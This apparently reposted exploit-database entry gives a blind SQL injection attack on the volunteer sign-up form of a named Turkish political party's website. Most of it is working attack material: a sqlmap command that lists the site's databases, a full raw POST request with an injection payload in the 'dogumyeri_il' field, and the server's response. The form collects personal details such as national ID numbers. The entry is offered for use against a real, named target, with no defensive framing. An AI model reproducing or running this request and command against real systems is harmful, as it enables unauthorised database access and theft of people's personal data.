Movement for Change in Turkey Blind SQL Injection Vuln

# Exploit Title: Movement for Change in Turkey Blind SQL Injection Vuln
# Date: 2021-08-04
# Exploit Author: M3T4L & Ghostname
# Web Site: www.turkichackersrulez.org
# Tested on: Windows

python sqlmap.py -r 1.txt --dbs --batch 

1.txt:
POST /gonullu-ol/ HTTP/1.1
Content-Length: 2467
Content-Type: multipart/form-data; boundary=-----Boundary_WVJGTHNLKM
X-Requested-With: XMLHttpRequest
Referer: https://tdp.org.tr/
Cookie: PHPSESSID=65pge6o2eqoeti1q4aajuga2nv; views_453=1; views_450=1; views_447=1; views_383=1; views_376=1; views_440=1; views_420=1; views_403=1; views_81=1; views_421=1; views_374=1; views_169=1; views_166=1; views_394=1; views_89=1; views_155=1; views_91=1; views_92=1; views_160=1; views_437=1; views_156=1; views_377=1; views_90=1; views_451=1; views_80=1; views_350=1; views_386=1; views_168=1; views_419=1; views_328=1; views_355=1; views_446=1; views_452=1; views_428=1; views_449=1; views_416=1; views_436=1; views_365=1; volunteer_step1=%7B%22submit_step1%22%3A%22true%22%2C%22cep_telefonu%22%3A%22555-666-0606%22%2C%22d_ay%22%3A%223%22%2C%22d_gun%22%3A%223%22%2C%22d_yil%22%3A%222020%22%2C%22tckimlikno%22%3A%221%22%2C%22tcyok%22%3A%2291628091376%22%7D; views_314=1; views_318=1; views_326=1; views_324=1; views_356=1; views_74=1; views_73=1; views_70=1; views_152=1; views_151=1; views_75=1; views_69=1; views_71=1; views_77=1; views_150=1; views_153=1; views_154=1; views_323=1; views_312=1; views_317=1; views_310=1; views_316=1; views_325=1; views_322=1; views_327=1; views_321=1; views_320=1; views_311=1; views_296=1; views_305=1; views_295=1; views_173=1; views_176=1
Host: tdp.org.tr
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Content-Type: multipart/form-data; boundary=-----Boundary_VBWNDETJEB

-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="ad"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="ayrilan_zaman"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="birim"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="calisma_durumu"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="cep_telefonu"

555-666-0606
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="cinsiyet"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="cocuksayi"

0
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="detay_adres"

20
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="dogumyeri_il"

-1' OR 3*2*1=6 AND 000879=000879 -- 
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="dogumyeri_ilce"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="d_ay"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="d_gun"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="d_yil"

2020
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="egitimdurumu"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="eposta"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="gorus_oneri"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="ikametil"

9999
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="ikametilce"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="kangrubu"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="katilim_durumu"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="medenidurum"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="meslek"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="sandikgorevlisi"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="soyad"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="tckimlikno"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="tcyok"

91628091376
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="telefonizin"

1
-------Boundary_VBWNDETJEB
Content-Disposition: form-data; name="file"; filename="acunetix.txt"
Content-Type: text/plain


-------Boundary_VBWNDETJEB--

Response
HTTP/1.1 200 OK
Date: Wed, 04 Aug 2021 16:31:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: volunteer_step2=%7B%22ad%22%3A%221%22%2C%22ayrilan_zaman%22%3A%221%22%2C%22birim%22%3A%221%22%2C%22calisma_durumu%22%3A%221%22%2C%22cep_telefonu%22%3A%22555-666-0606%22%2C%22cinsiyet%22%3A%221%22%2C%22cocuksayi%22%3A%220%22%2C%22detay_adres%22%3A%2220%22%2C%22dogumyeri_il%22%3A%22-1%5C%5C%27%20OR%203%2A2%2A1%3D6%20AND%20000879%3D000879%20--%20%22%2C%22dogumyeri_ilce%22%3A%221%22%2C%22d_ay%22%3A%221%22%2C%22d_gun%22%3A%221%22%2C%22d_yil%22%3A%222020%22%2C%22egitimdurumu%22%3A%221%22%2C%22eposta%22%3A%221%22%2C%22gorus_oneri%22%3A%221%22%2C%22ikametil%22%3A%229999%22%2C%22ikametilce%22%3A%221%22%2C%22kangrubu%22%3A%221%22%2C%22katilim_durumu%22%3A%221%22%2C%22medenidurum%22%3A%221%22%2C%22meslek%22%3A%221%22%2C%22sandikgorevlisi%22%3A%221%22%2C%22soyad%22%3A%221%22%2C%22tckimlikno%22%3A%221%22%2C%22tcyok%22%3A%2291628091376%22%2C%22telefonizin%22%3A%221%22%7D; expires=Wed, 04-Aug-2021 17:31:34 GMT; Max-Age=3600
X-Powered-By: PleskLin
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ptHlG8gftwSsZLoGiv260DUn3F4%2BSTpk20rw%2FsWMjPTGx83veJZvnELDlKxW01ffCFfAzuNPsUnp41UPm7aIe6F%2BNiTJY0%2BhZO%2FdxcmQK4SFrOyOZJr1WQIedAYS"}],"group":"cf-nel","max_age":604800}
NEL: {"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 67992d3d3889b75d-CDG
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Original-Content-Encoding: gzip
Content-Length: 104795

Copyright ©2024 Exploitalert.